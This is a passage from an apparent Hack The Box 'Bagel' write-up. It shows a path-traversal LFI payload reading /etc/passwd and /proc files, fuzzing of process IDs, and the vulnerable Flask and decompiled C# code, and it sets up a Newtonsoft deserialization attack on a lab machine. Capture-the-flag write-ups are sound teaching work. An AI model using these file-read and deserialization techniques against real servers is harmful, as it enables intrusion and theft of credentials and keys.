&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">15&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">14&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">46&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">charset&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">utf&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">8&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">263&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Location&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">bagel.htb&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="err">?&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">index.html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">echo&lt;/span> &lt;span class="s1">&amp;#39;10.10.11.201 bagel.htb&amp;#39;&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">sudo&lt;/span> &lt;span class="n">tee&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">etc&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">hosts&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now opening on browser, it redirects to &lt;code>http://bagel.htb:8000/?page=index.html&lt;/code>. Now as soon as i see the
&lt;code>page&lt;/code> parameter, I immediately try for LFI(Local File Inclusion) to read &lt;code>/etc/passwd&lt;/code> file. I got it by using &lt;code>page=../../../../etc/passwd&lt;/code>.&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/lfi.png"
width="2162"
height="870"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/lfi_hua6771fb79e98d97fa2f8fe522149856f_397342_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/lfi_hua6771fb79e98d97fa2f8fe522149856f_397342_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="248"
data-flex-basis="596px"
>&lt;/p>
&lt;p>Looking at it, we see two users, &lt;code>phil&lt;/code> and &lt;code>developer&lt;/code>. Now time for extracting information. Anytime with an LFI, we can either&lt;/p>
&lt;ol>
&lt;li>try to get RCE via methods like log injection&lt;/li>
&lt;li>try to read user&amp;rsquo;s id_rsa file, or&lt;/li>
&lt;li>try to read process env, process related commands executed.&lt;/li>
&lt;/ol>
&lt;p>For this box, the first two options were dead end. Now for the third, first I read &lt;code>/proc/self/environ&lt;/code> file.
&lt;div class="notice notice-info">
===> The &lt;span style="color: #d461e8">/proc/self/environ&lt;/span> file in a Unix-like operating system contains the environment variables for the current process. - ChatGPT
&lt;/div>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-env" data-lang="env">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">LANG&lt;/span>&lt;span class="o">=&lt;/span>en_US.UTF-8�PATH&lt;span class="o">=&lt;/span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin�HOME&lt;span class="o">=&lt;/span>/home/developer�LOGNAME&lt;span class="o">=&lt;/span>developer�USER&lt;span class="o">=&lt;/span>developer�SHELL&lt;span class="o">=&lt;/span>/bin/bash�INVOCATION_ID&lt;span class="o">=&lt;/span>eb44fe42161641c2b1239494b788bb59�JOURNAL_STREAM&lt;span class="o">=&lt;/span>8:25511�SYSTEMD_EXEC_PID&lt;span class="o">=&lt;/span>894�
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This shows our current user is &lt;code>developer&lt;/code>.
Similarly, &lt;code>/proc/self/cmdline&lt;/code>, will hold the current process commands run.
This file had the content = &lt;code>python3/home/developer/app/app.py&lt;/code>. So reading this file now gave me the app&amp;rsquo;s starting code,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">flask&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Flask&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">send_file&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">redirect&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">Response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os.path&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">websocket&lt;/span>&lt;span class="o">,&lt;/span>&lt;span class="nn">json&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">app&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Flask&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="vm">__name__&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@app.route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">index&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;page&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">page&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;static/&amp;#39;&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;page&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">isfile&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">resp&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">send_file&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">resp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">direct_passthrough&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">getsize&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">resp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">headers&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;Content-Length&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">resp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_data&lt;/span>&lt;span class="p">()))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">return&lt;/span> &lt;span class="n">resp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">return&lt;/span> &lt;span class="s2">&amp;#34;File not found&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">return&lt;/span> &lt;span class="n">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;http://bagel.htb:8000/?page=index.html&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">code&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">302&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@app.route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/orders&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">order&lt;/span>&lt;span class="p">():&lt;/span> &lt;span class="c1"># don&amp;#39;t forget to run the order app first with &amp;#34;dotnet &amp;lt;path to .dll&amp;gt;&amp;#34; command. Use your ssh key to access the machine.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ws&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">websocket&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">WebSocket&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ws&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">connect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;ws://127.0.0.1:5000/&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># connect to order app&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">order&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;ReadOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;orders.txt&amp;#34;&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">order&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ws&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ws&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recv&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">loads&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="s1">&amp;#39;ReadOrder&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Unable to connect&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">run&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">host&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;0.0.0.0&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking at the code, I got to know that a websocket server is running in port 5000 that is responsible for
the managing orders. It is using a json payload to i guess read orders.txt file to fetch the orders placed. Going to the &lt;code>bagel.htb:5000/orders&lt;/code> confirms this.
Also there are two interesting comments here,
&lt;div class="notice notice-note">
===> don't forget to run the order app first with "dotnet '&amp;lt;path to .dll&amp;gt;' command. Use your ssh key to access the machine.
&lt;/div>
From first line, it is clear that a &lt;code>dll&lt;/code> file is running as I am able to access the orders. This meant, I
will be able to exfil info of dll from &lt;code>/proc/{proc_no}/cmdline&lt;/code> to know the commands run.
&lt;div class="notice notice-info">
===> The file &lt;span style="color: #d461e8">/proc/{proc_no}/cmdline&lt;/span> in a Unix-like operating system (such as Linux) contains the command-line arguments passed to the process with the process ID {proc_no} when it was started. - ChatGPT
&lt;/div>
Second line says to use ssh key. So hinting at us to read &lt;code>id_rsa&lt;/code> file of a user.
Now I dont know the process number of a dll file. So i will brute force the &lt;code>proc_no&lt;/code> param from 1 to 1000.&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/fuzzing.png"
width="1870"
height="784"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/fuzzing_hu24143c41584565b1b73b1667aec7d463_227968_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/fuzzing_hu24143c41584565b1b73b1667aec7d463_227968_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="238"
data-flex-basis="572px"
>&lt;/p>
&lt;!-- ---------------------------------------------------------------------- -->
&lt;p>Now sorting all the responses by size, I found&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/bagelinfo.png"
width="1874"
height="586"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/bagelinfo_hu51588849dcf01ee5688c8a760039eee5_287518_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/bagelinfo_hu51588849dcf01ee5688c8a760039eee5_287518_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="319"
data-flex-basis="767px"
>&lt;/p>
&lt;!-- ---------------------------------------------------------------------- -->
&lt;p>I used this path in &lt;code>page&lt;/code> parameter on port 8000 to downlaod the file.
To debug this dll file, there are many options, &lt;a class="link" href="https://github.com/dnSpy/dnSpy" target="_blank" rel="noopener"
>&lt;code>dnSpy&lt;/code>&lt;/a>, &lt;a class="link" href="https://www.jetbrains.com/decompiler/" target="_blank" rel="noopener"
>&lt;code>dotPeek&lt;/code>&lt;/a>, &lt;a class="link" href="https://www.jetbrains.com/rider/" target="_blank" rel="noopener"
>&lt;code>Rider&lt;/code>&lt;/a>, &lt;a class="link" href="https://ghidra-sre.org/" target="_blank" rel="noopener"
>&lt;code>Ghidra&lt;/code>&lt;/a> etc. I am using &lt;code>Rider&lt;/code>.
Looking at the &lt;code>Bagel.cs&lt;/code> file, the function &lt;code>MessageRecieved&lt;/code> is deserialising the recieved request json payload from the client.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-csharp" data-lang="csharp">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">private&lt;/span> &lt;span class="kd">static&lt;/span> &lt;span class="k">void&lt;/span> &lt;span class="n">MessageReceived&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">object&lt;/span> &lt;span class="n">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">MessageReceivedEventArgs&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">string&lt;/span> &lt;span class="n">json&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ArraySegment&lt;/span>&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="kt">byte&lt;/span>&lt;span class="p">&amp;gt;&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">num&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ArraySegment&lt;/span>&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="kt">byte&lt;/span>&lt;span class="p">&amp;gt;.&lt;/span>&lt;span class="n">op_Inequality&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Data&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ArraySegment&lt;/span>&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="kt">byte&lt;/span>&lt;span class="p">&amp;gt;.&lt;/span>&lt;span class="n">op_Implicit&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="kt">byte&lt;/span>&lt;span class="p">[])&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span> &lt;span class="n">data&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Count&lt;/span> &lt;span class="p">&amp;gt;&lt;/span> &lt;span class="m">0&lt;/span> &lt;span class="p">?&lt;/span> &lt;span class="m">1&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="m">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="m">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">num&lt;/span> &lt;span class="p">!=&lt;/span> &lt;span class="m">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span> &lt;span class="n">Encoding&lt;/span> &lt;span class="n">utF8&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">Encoding&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">UTF8&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">byte&lt;/span>&lt;span class="p">[]&lt;/span> &lt;span class="n">array&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Array&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">count&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Count&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">utF8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">GetString&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">array&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="m">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="n">Handler&lt;/span> &lt;span class="n">handler&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">Handler&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">object&lt;/span> &lt;span class="n">obj1&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">handler&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Deserialize&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">object&lt;/span> &lt;span class="n">obj2&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">handler&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Serialize&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">obj1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Bagel&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">_Server&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SendAsync&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IpPort&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">obj2&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">ToString&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">CancellationToken&lt;/span>&lt;span class="p">());&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking up the the &lt;code>Deserialize&lt;/code> function(&lt;code>cmd/ctrl+click&lt;/code>), it is using a function from &lt;code>Newtonsoft&lt;/code> library to deserialize json and return object. It has a configuration &lt;code>TypeNameHandling=4&lt;/code> which is
&lt;div class="notice notice-info">
===> &lt;span style="color: #d461e8">TypeNameHandling Enum Auto (4)&lt;/span>: Include the .NET type name when the type of the object being serialized is not the same as its declared type. This is useful when dealing with polymorphic types, where the runtime type of the object is different from the compile-time type. It ensures that type names are included only when the runtime type of the object being serialized is different from its declared type. This helps handle scenarios involving polymorphism without unnecessarily cluttering the JSON with type information for every object. --- ChatGPT
&lt;/div>
This is in short, we can give an object to be deserialized by setting a &lt;code>type&lt;/code> parameter in the data.
Now looking at the &lt;code>Orders.cs&lt;/code> file there are three functions available, &lt;code>RemoveOrder&lt;/code>, &lt;code>WriteOrder&lt;/code> and
&lt;code>ReadOrder&lt;/code>.
&lt;div class="notice notice-tip">
The &lt;span style="color: #d461e8">RemoveOrder&lt;/span> is an object here. This is a potential vector as objects can be used to call other objects.
&lt;/div>
&lt;code>ReadOrder&lt;/code> function is calling &lt;code>ReadFile&lt;/code> function from the &lt;code>File.cs&lt;/code> file. It is reading a file &lt;code>orders.txt&lt;/code> from &lt;code>/opt/bagel/orders/&lt;/code> directory. Now I can try reading data from this function by exploiting the
Deseriazation of arbitrary json data. Looking at &lt;a class="link" href="https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm" target="_blank" rel="noopener"
>&lt;code>TypeNameHandling&lt;/code>&lt;/a> in Newtonsoft docs,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-csharp" data-lang="csharp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">Stockholder&lt;/span> &lt;span class="n">stockholder&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">Stockholder&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FullName&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s">&amp;#34;Steve Stockholder&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Businesses&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">List&lt;/span>&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="n">Business&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">new&lt;/span> &lt;span class="n">Hotel&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
